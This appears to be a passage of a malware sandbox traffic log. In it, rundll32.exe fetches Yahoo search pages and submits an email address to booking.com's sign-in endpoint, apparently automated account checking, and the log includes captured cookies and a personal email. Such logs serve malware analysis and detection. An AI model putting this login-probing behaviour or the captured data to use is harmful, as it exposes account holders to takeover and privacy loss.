2023-12-10 16:51:51 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 31 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:51 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:51 UTC	5322	IN	Data Raw: 32 65 30 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2e0a<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:52 UTC	5792	IN	Data Raw: 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 65 29 7d 29 29 3a 6e 75 6c 6c 21 Data Ascii: reate(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(e)})):null!
2023-12-10 16:51:52 UTC	13032	IN	Data Raw: 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d Data Ascii: y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.m
2023-12-10 16:51:52 UTC	13944	IN	Data Raw: 26 26 21 65 2e 73 75 62 74 69 74 6c 65 29 7b 76 61 72 20 73 2c 6e 2c 61 2c 6f 2c 72 2c 6c 2c 63 2c 69 3d 65 2e 74 5f 6c 6f 67 6f 2c 70 3d 65 2e 74 5f 61 62 62 72 7c 7c 65 2e 74 65 61 6d 2c 64 3d 65 2e 6f 74 5f 6c 6f 67 6f 2c 68 3d 65 2e 6f 74 5f 61 62 62 72 7c 7c 65 2e 6f 74 65 61 6d 2c 75 3d 65 2e 74 65 61 6d 5f 70 6f 69 6e 74 73 2c 66 3d 65 2e 6f 70 70 5f 70 6f 69 6e 74 73 2c 6d 3d 65 2e 70 65 72 69 6f 64 26 26 22 e2 80 a2 20 51 22 2b 65 2e 70 65 72 69 6f 64 2c 67 3d 65 2e 74 69 6d 65 6c 65 66 74 2c 76 3d 65 2e 67 61 6d 65 74 69 6d 65 26 26 6e 65 77 20 44 61 74 65 28 31 65 33 2a 65 2e 67 61 6d 65 74 69 6d 65 29 2c 79 3d 65 2e 6c 69 76 65 2c 62 3d 65 2e 67 61 6d 65 5f 63 6e 74 2c 5f 3d 62 26 26 31 3c 62 3f 62 2b 22 20 6f 74 68 65 72 20 67 61 6d 65 73 20 Data Ascii: &&!e.subtitle){var s,n,a,o,r,l,c,i=e.t_logo,p=e.t_abbr\|\|e.team,d=e.ot_logo,h=e.ot_abbr\|\|e.oteam,u=e.team_points,f=e.opp_points,m=e.period&&" Q"+e.period,g=e.timeleft,v=e.gametime&&new Date(1e3*e.gametime),y=e.live,b=e.game_cnt,_=b&&1<b?b+" other games
2023-12-10 16:51:52 UTC	3432	IN	Data Raw: 61 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 2e 70 6c 61 Data Ascii: ar e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).innerHTML=n.pla
2023-12-10 16:51:52 UTC	13032	IN	Data Raw: 74 7d 2c 6d 73 67 3a 7b 42 45 46 4f 52 45 5f 47 45 54 5f 41 53 53 49 53 54 3a 6c 2c 42 45 46 4f 52 45 5f 44 49 53 50 4c 41 59 5f 44 41 54 41 3a 69 2c 42 45 46 4f 52 45 5f 49 4e 49 54 5f 56 49 45 57 3a 68 2c 41 46 54 45 52 5f 49 4e 49 54 5f 56 49 45 57 3a 75 2c 42 45 46 4f 52 45 5f 50 41 52 53 45 5f 44 41 54 41 3a 54 2c 42 45 46 4f 52 45 5f 55 50 44 41 54 45 5f 41 53 53 49 53 54 3a 6b 2c 41 46 54 45 52 5f 55 50 44 41 54 45 5f 4c 49 53 54 3a 49 2c 41 46 54 45 52 5f 43 52 45 41 54 45 5f 49 54 45 4d 3a 66 2c 42 45 46 4f 52 45 5f 53 48 4f 57 5f 53 41 3a 61 2c 41 46 54 45 52 5f 52 45 53 45 54 5f 56 49 45 57 3a 6f 2c 42 45 46 4f 52 45 5f 48 49 44 45 5f 56 49 45 57 3a 6d 2c 41 46 54 45 52 5f 48 49 44 45 5f 56 49 45 57 3a 67 2c 41 46 54 45 52 5f 45 58 50 41 4e 44 Data Ascii: t},msg:{BEFORE_GET_ASSIST:l,BEFORE_DISPLAY_DATA:i,BEFORE_INIT_VIEW:h,AFTER_INIT_VIEW:u,BEFORE_PARSE_DATA:T,BEFORE_UPDATE_ASSIST:k,AFTER_UPDATE_LIST:I,AFTER_CREATE_ITEM:f,BEFORE_SHOW_SA:a,AFTER_RESET_VIEW:o,BEFORE_HIDE_VIEW:m,AFTER_HIDE_VIEW:g,AFTER_EXPAND
2023-12-10 16:51:52 UTC	16304	IN	Data Raw: 20 6e 61 6d 65 3d 22 27 2b 74 2b 27 2d 73 75 67 67 22 20 69 64 3d 22 27 2b 28 72 3d 74 2b 22 2d 73 75 67 67 2d 22 2b 6e 29 2b 27 22 20 76 61 6c 75 65 3d 22 27 2b 6c 2e 6b 2b 27 22 3e 3c 73 70 61 6e 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 27 2b 72 2b 27 22 3e 27 2b 70 2e 68 74 6d 6c 45 6e 63 6f 64 65 28 6c 2e 6b 29 2b 22 3c 2f 6c 61 62 65 6c 3e 3c 2f 73 70 61 6e 3e 22 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2c 6e 2b 2b 29 7d 74 68 69 73 2e 63 61 6e 52 65 70 6f 72 74 3d 30 3c 6e 2c 74 68 69 73 2e 72 65 70 6f 72 74 53 75 67 67 4c 69 73 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 74 68 69 73 2e 72 65 70 6f 72 74 53 75 67 67 4c 69 73 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 74 68 69 73 2e 73 75 67 67 44 61 74 61 3d 65 7d 2c 73 75 62 6d 69 Data Ascii: name="'+t+'-sugg" id="'+(r=t+"-sugg-"+n)+'" value="'+l.k+'"><span><label for="'+r+'">'+p.htmlEncode(l.k)+"</label></span>",i.appendChild(o),n++)}this.canReport=0<n,this.reportSuggList.innerHTML="",this.reportSuggList.appendChild(i),this.suggData=e},submi
2023-12-10 16:51:52 UTC	6864	IN	Data Raw: 69 64 65 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 20 2e 73 70 72 69 74 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 31 30 35 70 78 3b 77 69 64 74 68 3a 32 38 70 78 3b 68 65 69 67 68 74 3a 32 38 70 78 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 7b 68 65 69 67 68 74 3a 36 38 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 20 2e 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 4e 65 75 65 2d 42 6f 6c Data Ascii: ide .microphone .sprite{background-position:0 -105px;width:28px;height:28px}.permission-guide .guide .guide-text{height:68px;margin-left:24px;float:left}.permission-guide .guide .guide-text .title{color:#232a31;font-size:32px;font-family:HelveticaNeue-Bol
2023-12-10 16:51:52 UTC	15928	IN	Data Raw: 68 20 2e 73 62 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 32 37 34 70 78 3b 77 69 64 74 68 3a 32 30 70 78 3b 68 65 69 67 68 74 3a 32 30 70 78 7d 2e 76 6f 69 63 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 31 34 70 78 3b 6c 65 66 74 3a 35 32 36 70 78 3b 7a 2d 69 6e 64 65 78 3a 32 30 30 30 7d 23 64 6f 63 20 2e 73 62 78 2e 74 79 70 69 6e 67 20 2e 76 6f 69 63 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 6c 65 66 74 3a 35 35 30 70 78 7d 23 73 74 69 63 6b 79 2d 68 64 2e 61 63 74 69 76 65 20 2e 76 6f 69 63 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 74 6f 70 3a 38 70 78 7d 23 76 6f 69 63 65 2d 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 32 31 37 70 78 3b Data Ascii: h .sbb{background-position:0 -274px;width:20px;height:20px}.voice-container{position:absolute;top:14px;left:526px;z-index:2000}#doc .sbx.typing .voice-container{left:550px}#sticky-hd.active .voice-container{top:8px}#voice-btn{background-position:0 -217px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50210	18.244.102.111	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:52 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 76 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:51:52 UTC	76	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 74 6f 6d 61 73 36 36 36 40 70 6f 62 6f 78 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"tomas666@pobox.sk"}}
2023-12-10 16:51:53 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 33 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 33 30 3b 20 64 6f 6d 61 69 6e 3d 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 38 2d 44 65 63 2d 32 30 32 38 20 31 36 3a 35 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:51:53 GMTset-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Fri, 08-Dec-2028 16:5
2023-12-10 16:51:53 UTC	334	IN	Data Raw: 31 34 37 0d 0a 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 22 74 6f 6d 61 73 36 36 36 40 70 6f 62 6f 78 2e 73 6b 22 2c 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 7d 2c 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 53 49 47 4e 5f 49 4e 5f 5f 50 41 53 53 57 4f 52 44 22 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 76 61 6c 75 65 22 3a 22 55 6f 30 42 6b 68 52 35 44 70 42 49 55 62 63 36 36 31 66 4f 41 35 48 61 54 31 69 77 56 6f 42 70 33 39 39 61 79 41 49 6b 6e 41 76 43 59 4f 6b 52 6f 54 30 72 65 32 57 62 44 32 33 6f 37 49 57 4c 42 5f 4a 63 4e 75 44 70 64 48 37 45 68 59 42 50 4c 31 6f 34 39 62 6e 34 76 73 37 43 6a 31 2d 35 6f 52 4e 64 69 73 6b 69 69 6b 6c 45 6f 64 5f 4b 47 48 79 48 4b 53 Data Ascii: 147{"identifier":{"value":"tomas666@pobox.sk","type":"IDENTIFIER_TYPE__EMAIL"},"nextStep":"STEP_SIGN_IN__PASSWORD","context":{"value":"Uo0BkhR5DpBIUbc661fOA5HaT1iwVoBp399ayAIknAvCYOkRoT0re2WbD23o7IWLB_JcNuDpdH7EhYBPL1o49bn4vs7Cj1-5oRNdiskiiklEod_KGHyHKS
2023-12-10 16:51:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50217	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:54 UTC	839	OUT	GET /search;_ylt=AwrNZ72g7HVlnQYrC0hXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=43&pz=7&bct=0&pstart=9 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227104&ltv_c=6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:54 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 34 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:54 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:54 UTC	126	IN	Data Raw: 32 64 65 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e Data Ascii: 2dea<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on">
2023-12-10 16:51:54 UTC	11636	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 79 5f 69 63 6f 6e 5f 69 70 68 6f 6e 65 5f 37 36 2e 6d 69 6e 2e 70 6e 67 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 31 34 78 31 31 34 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 Data Ascii: <meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yimg.com/pv/static/img/y_icon_iphone_76.min.png" /><link rel="apple-touch-icon" sizes="114x114" href="https://s.yimg.com/pv/stati
2023-12-10 16:51:54 UTC	5792	IN	Data Raw: 37 31 31 38 0d 0a 7c 72 69 29 5c 5c 2e 73 65 61 72 63 68 5c 5c 2e 79 61 68 6f 6f 5c 5c 2e 63 6f 6d 5c 5c 5c 2f 2e 2b 5c 5c 5c 2f 52 55 3d 28 5b 5e 5c 5c 5c 2f 5d 2b 29 5c 5c 5c 2f 22 2c 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 79 6c 63 50 61 72 61 6d 22 3a 7b 22 72 74 22 3a 30 7d 7d 29 3b 69 66 28 77 2e 59 41 48 4f 4f 20 26 26 20 77 2e 59 41 48 4f 4f 2e 53 42 29 7b 20 77 2e 59 41 48 4f 4f 2e 53 42 2e 63 6f 6e 66 69 67 20 3d 20 7b 22 62 65 61 63 6f 6e 5f 68 6f 73 74 22 3a 22 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 69 31 33 6e 22 3a 7b 22 73 70 61 63 65 69 64 22 3a 22 32 37 36 36 36 37 39 22 2c 22 70 76 69 64 22 3a 22 57 71 5a 4b 78 7a 45 77 4c 6a 4b 76 32 6b 6d 45 5a 58 58 73 56 41 45 4a 4d 54 41 79 4c 67 41 Data Ascii: 7118\|ri)\\.search\\.yahoo\\.com\\\/.+\\\/RU=([^\\\/]+)\\\/","referrerpolicy":"origin","ylcParam":{"rt":0}});if(w.YAHOO && w.YAHOO.SB){ w.YAHOO.SB.config = {"beacon_host":"geo.yahoo.com","i13n":{"spaceid":"2766679","pvid":"WqZKxzEwLjKv2kmEZXXsVAEJMTAyLgA
2023-12-10 16:51:54 UTC	15340	IN	Data Raw: 6c 61 74 65 64 53 74 6f 63 6b 73 2c 6f 3d 73 2e 63 6f 6e 66 69 67 2c 72 3d 73 2e 63 72 65 61 74 65 45 6c 65 6d 3b 69 66 28 30 3c 61 2e 6c 65 6e 67 74 68 29 7b 74 3d 72 28 6f 2e 63 74 6e 2c 22 6c 69 22 29 2c 69 3d 72 28 6f 2e 68 64 2c 22 64 69 76 22 29 2c 69 63 6f 6e 3d 72 28 6f 2e 69 63 6f 6e 2c 22 64 69 76 22 29 2c 6c 3d 72 28 6f 2e 75 6c 2c 22 75 6c 22 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 63 6f 6e 29 3b 66 6f 72 28 76 61 72 20 6c 3d 72 28 6f 2e 75 6c 2c 22 75 6c 22 29 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 66 6f 72 28 76 61 72 20 70 3d 72 28 6f 2e 69 74 65 6d 43 6c 61 73 73 2c 22 64 69 76 22 29 2c 64 3d 61 5b 63 5d 2e 64 61 74 61 2e 66 64 2e 63 6f 6d 70 61 6e 79 59 Data Ascii: latedStocks,o=s.config,r=s.createElem;if(0<a.length){t=r(o.ctn,"li"),i=r(o.hd,"div"),icon=r(o.icon,"div"),l=r(o.ul,"ul"),t.appendChild(i),t.appendChild(icon);for(var l=r(o.ul,"ul"),c=0;c<a.length;c++){for(var p=r(o.itemClass,"div"),d=a[c].data.fd.companyY
2023-12-10 16:51:54 UTC	3484	IN	Data Raw: 61 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 61 29 2c 61 3d 6e 75 6c 6c 7d 2c 70 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 74 68 69 73 2e 64 69 73 61 62 6c 65 50 72 65 76 69 65 77 7c 7c 28 74 68 69 73 2e 70 72 65 76 48 6f 76 65 72 49 6e 64 65 78 3d 2d 31 29 7d 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 61 70 70 3b 74 3d 3d 74 68 69 73 2e 70 72 65 76 69 65 77 43 6f 6c 26 26 28 65 28 29 2c 69 2e 63 6f 6e 74 72 6f 6c 2e 73 75 62 6d 69 74 46 6f 72 6d 42 79 49 6e 64 65 78 28 74 68 69 73 2e 70 72 65 76 41 63 74 69 76 65 49 6e 64 65 78 2c 22 73 61 50 72 65 76 69 65 77 22 29 29 7d 66 75 6e 63 74 69 6f 